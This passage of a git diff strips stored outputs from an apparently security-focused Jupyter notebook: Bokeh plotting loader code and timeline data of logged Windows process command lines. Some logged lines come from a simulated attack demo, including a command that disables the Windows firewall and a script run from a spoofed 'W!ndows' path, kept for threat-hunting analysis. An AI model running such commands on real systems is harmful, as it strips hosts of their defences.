`view_cluster(\"reg.exe\")`" - ], - "text/plain": [ - "" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "# Look at clusters for individual process names\n", "def view_cluster(exe_name):\n", @@ -4275,387 +686,9 @@ }, { "cell_type": "code", - "execution_count": 23, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:20:06.531933Z", - "start_time": "2020-05-16T02:20:06.352934Z" - } - }, - "outputs": [ - { - "data": { - "text/html": [ - "\n", - "
\n", - " \n", - " Loading BokehJS ...\n", - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "\n", - "(function(root) {\n", - " function now() {\n", - " return new Date();\n", - " }\n", - "\n", - " var force = true;\n", - "\n", - " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", - " root._bokeh_onload_callbacks = [];\n", - " root._bokeh_is_loading = undefined;\n", - " }\n", - "\n", - " var JS_MIME_TYPE = 'application/javascript';\n", - " var HTML_MIME_TYPE = 'text/html';\n", - " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", - " var CLASS_NAME = 'output_bokeh rendered_html';\n", - "\n", - " /**\n", - " * Render data to the DOM node\n", - " */\n", - " function render(props, node) {\n", - " var script = document.createElement(\"script\");\n", - " node.appendChild(script);\n", - " }\n", - "\n", - " /**\n", - " * Handle when an output is cleared or removed\n", - " */\n", - " function handleClearOutput(event, handle) {\n", - " var cell = handle.cell;\n", - "\n", - " var id = cell.output_area._bokeh_element_id;\n", - " var server_id = cell.output_area._bokeh_server_id;\n", - " // Clean up Bokeh references\n", - " if (id != null && id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - "\n", - " if (server_id !== undefined) {\n", - " // Clean up Bokeh references\n", - " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", - " cell.notebook.kernel.execute(cmd, {\n", - " iopub: {\n", - " output: function(msg) {\n", - " var id = msg.content.text.trim();\n", - " if (id in Bokeh.index) {\n", - " Bokeh.index[id].model.document.clear();\n", - " delete Bokeh.index[id];\n", - " }\n", - " }\n", - " }\n", - " });\n", - " // Destroy server and session\n", - " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", - " cell.notebook.kernel.execute(cmd);\n", - " }\n", - " }\n", - "\n", - " /**\n", - " * Handle when a new output is added\n", - " */\n", - " function handleAddOutput(event, handle) {\n", - " var output_area = handle.output_area;\n", - " var output = handle.output;\n", - "\n", - " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", - " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", - " return\n", - " }\n", - "\n", - " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", - "\n", - " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", - " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", - " // store reference to embed id on output_area\n", - " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", - " }\n", - " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", - " var bk_div = document.createElement(\"div\");\n", - " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", - " var script_attrs = bk_div.children[0].attributes;\n", - " for (var i = 0; i < script_attrs.length; i++) {\n", - " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", - " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", - " }\n", - " // store reference to server id on output_area\n", - " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", - " }\n", - " }\n", - "\n", - " function register_renderer(events, OutputArea) {\n", - "\n", - " function append_mime(data, metadata, element) {\n", - " // create a DOM node to render to\n", - " var toinsert = this.create_output_subarea(\n", - " metadata,\n", - " CLASS_NAME,\n", - " EXEC_MIME_TYPE\n", - " );\n", - " this.keyboard_manager.register_events(toinsert);\n", - " // Render to node\n", - " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", - " render(props, toinsert[toinsert.length - 1]);\n", - " element.append(toinsert);\n", - " return toinsert\n", - " }\n", - "\n", - " /* Handle when an output is cleared or removed */\n", - " events.on('clear_output.CodeCell', handleClearOutput);\n", - " events.on('delete.Cell', handleClearOutput);\n", - "\n", - " /* Handle when a new output is added */\n", - " events.on('output_added.OutputArea', handleAddOutput);\n", - "\n", - " /**\n", - " * Register the mime type and append_mime function with output_area\n", - " */\n", - " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", - " /* Is output safe? */\n", - " safe: true,\n", - " /* Index of renderer in `output_area.display_order` */\n", - " index: 0\n", - " });\n", - " }\n", - "\n", - " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", - " if (root.Jupyter !== undefined) {\n", - " var events = require('base/js/events');\n", - " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", - "\n", - " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", - " register_renderer(events, OutputArea);\n", - " }\n", - " }\n", - "\n", - " \n", - " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", - " root._bokeh_timeout = Date.now() + 5000;\n", - " root._bokeh_failed_load = false;\n", - " }\n", - "\n", - " var NB_LOAD_WARNING = {'data': {'text/html':\n", - " \"
\\n\"+\n", - " \"

\\n\"+\n", - " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", - " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", - " \"

\\n\"+\n", - " \"
    \\n\"+\n", - " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", - " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", - " \"
\\n\"+\n", - " \"\\n\"+\n", - " \"from bokeh.resources import INLINE\\n\"+\n", - " \"output_notebook(resources=INLINE)\\n\"+\n", - " \"\\n\"+\n", - " \"
\"}};\n", - "\n", - " function display_loaded() {\n", - " var el = document.getElementById(\"2163\");\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS is loading...\";\n", - " }\n", - " if (root.Bokeh !== undefined) {\n", - " if (el != null) {\n", - " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", - " }\n", - " } else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(display_loaded, 100)\n", - " }\n", - " }\n", - "\n", - "\n", - " function run_callbacks() {\n", - " try {\n", - " root._bokeh_onload_callbacks.forEach(function(callback) {\n", - " if (callback != null)\n", - " callback();\n", - " });\n", - " } finally {\n", - " delete root._bokeh_onload_callbacks\n", - " }\n", - " console.debug(\"Bokeh: all callbacks have finished\");\n", - " }\n", - "\n", - " function load_libs(css_urls, js_urls, callback) {\n", - " if (css_urls == null) css_urls = [];\n", - " if (js_urls == null) js_urls = [];\n", - "\n", - " root._bokeh_onload_callbacks.push(callback);\n", - " if (root._bokeh_is_loading > 0) {\n", - " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", - " return null;\n", - " }\n", - " if (js_urls == null || js_urls.length === 0) {\n", - " run_callbacks();\n", - " return null;\n", - " }\n", - " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", - " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", - "\n", - " function on_load() {\n", - " root._bokeh_is_loading--;\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", - " run_callbacks()\n", - " }\n", - " }\n", - "\n", - " function on_error() {\n", - " console.error(\"failed to load \" + url);\n", - " }\n", - "\n", - " for (var i = 0; i < css_urls.length; i++) {\n", - " var url = css_urls[i];\n", - " const element = document.createElement(\"link\");\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.rel = \"stylesheet\";\n", - " element.type = \"text/css\";\n", - " element.href = url;\n", - " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n", - "\n", - " for (var i = 0; i < js_urls.length; i++) {\n", - " var url = js_urls[i];\n", - " var element = document.createElement('script');\n", - " element.onload = on_load;\n", - " element.onerror = on_error;\n", - " element.async = false;\n", - " element.src = url;\n", - " if (url in hashes) {\n", - " element.crossOrigin = \"anonymous\";\n", - " element.integrity = \"sha384-\" + hashes[url];\n", - " }\n", - " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", - " document.head.appendChild(element);\n", - " }\n", - " };\n", - "\n", - " function inject_raw_css(css) {\n", - " const element = document.createElement(\"style\");\n", - " element.appendChild(document.createTextNode(css));\n", - " document.body.appendChild(element);\n", - " }\n", - "\n", - " \n", - " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n", - " var css_urls = [];\n", - " \n", - "\n", - " var inline_js = [\n", - " function(Bokeh) {\n", - " Bokeh.set_log_level(\"info\");\n", - " },\n", - " function(Bokeh) {\n", - " \n", - " \n", - " }\n", - " ];\n", - "\n", - " function run_inline_js() {\n", - " \n", - " if (root.Bokeh !== undefined || force === true) {\n", - " \n", - " for (var i = 0; i < inline_js.length; i++) {\n", - " inline_js[i].call(root, root.Bokeh);\n", - " }\n", - " if (force === true) {\n", - " display_loaded();\n", - " }} else if (Date.now() < root._bokeh_timeout) {\n", - " setTimeout(run_inline_js, 100);\n", - " } else if (!root._bokeh_failed_load) {\n", - " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", - " root._bokeh_failed_load = true;\n", - " } else if (force !== true) {\n", - " var cell = $(document.getElementById(\"2163\")).parents('.cell').data().cell;\n", - " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", - " }\n", - "\n", - " }\n", - "\n", - " if (root._bokeh_is_loading === 0) {\n", - " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", - " run_inline_js();\n", - " } else {\n", - " load_libs(css_urls, js_urls, function() {\n", - " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", - " run_inline_js();\n", - " });\n", - " }\n", - "}(window));" - ], - "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"
    \\n\"+\n \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n \"
  • use INLINE resources instead, as so:
    • \\n\"+\n \"
\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2163\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2163\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "text/html": [ - "\n", - "\n", - "\n", - "\n", - "\n", - "\n", - "
\n" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/javascript": [ - "(function(root) {\n", - " function embed_document(root) {\n", - " \n", - " var docs_json = {\"0dc95462-545c-40d6-b486-3fd89142eecb\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"2167\"},{\"id\":\"2199\"}]},\"id\":\"2254\",\"type\":\"Column\"},{\"attributes\":{\"source\":{\"id\":\"2164\"}},\"id\":\"2239\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31]},\"id\":\"2283\",\"type\":\"DaysTicker\"},{\"attributes\":{\"end\":1550100486011.05,\"start\":1550095104001.95},\"id\":\"2202\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2276\",\"type\":\"Selection\"},{\"attributes\":{},\"id\":\"2291\",\"type\":\"YearsTicker\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2284\",\"type\":\"DaysTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2236\",\"type\":\"Diamond\"},{\"attributes\":{\"background_fill_alpha\":0.5,\"background_fill_color\":\"white\",\"border_line_color\":\"red\",\"render_mode\":\"css\",\"text\":\"< Alert time\",\"text_font_size\":\"8pt\",\"x\":1550099244000.0,\"y\":0,\"y_offset\":10},\"id\":\"2253\",\"type\":\"Label\"},{\"attributes\":{\"months\":[0,1,2,3,4,5,6,7,8,9,10,11]},\"id\":\"2268\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":{\"id\":\"2228\"},\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2228\"}]},\"id\":\"2214\",\"type\":\"Toolbar\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"2282\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"green\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"green\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2225\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5},\"id\":\"2229\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"green\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"green\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2242\",\"type\":\"Diamond\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"min_interval\":1000.0,\"num_minor_ticks\":0},\"id\":\"2281\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2233\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"fill_color\":{\"value\":\"green\"},\"line_color\":{\"value\":\"green\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2224\",\"type\":\"Circle\"},{\"attributes\":{\"data_source\":{\"id\":\"2248\"},\"glyph\":{\"id\":\"2249\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"2250\"},\"selection_glyph\":null,\"view\":{\"id\":\"2252\"}},\"id\":\"2251\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"fill_color\":{\"value\":\"navy\"},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"2219\",\"type\":\"Circle\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"2269\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"data\":{\"CommandLine\":[\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" 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State\\\\ICT\\n2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\ICT\\n2\\\\work\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicin\\ngstack_31bf3856ad364e35_10.0.14393.2602_none_7ee60\\n20e2207416d\\\\TiWorker.exe -Embedding\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize\\n-quickscan -event -json -alldetectors\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe\\n/Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd\\nc:\\\\W!ndows\\\\System32 4\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"cmd /c echo Begin Security Demo tasks\",\"cmd /c echo Any questions about the commands\\nexecuted here then please contact one of\",\"cmd /c echo timb@microsoft.com;\\nianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\tsetup.1.exe C:\\\\Users\\\\MSTICAdmin\\\\AppData\\\\Local\\\\\\nTemp\\\\2\\\\is-01DD7.tmp\\\\tsetup.1.0.14.tmp\\\" /SL5=\\\"$2502\\n76,19992586,423424,C:\\\\Users\\\\MSTICAdmin\\\\Downloads\\\\t\\nsetup.1.0.14.exe\",\".\\\\netsh.exe firewall set opmode mode=disable\\nprofile=all\",\"cmd /c echo End Security Demo tasks\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\n(x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua\\n/installsource scheduler\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"\\\"C:\\\\Program Files\\n(x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /svc\",\"\\\"C:\\\\Program Files 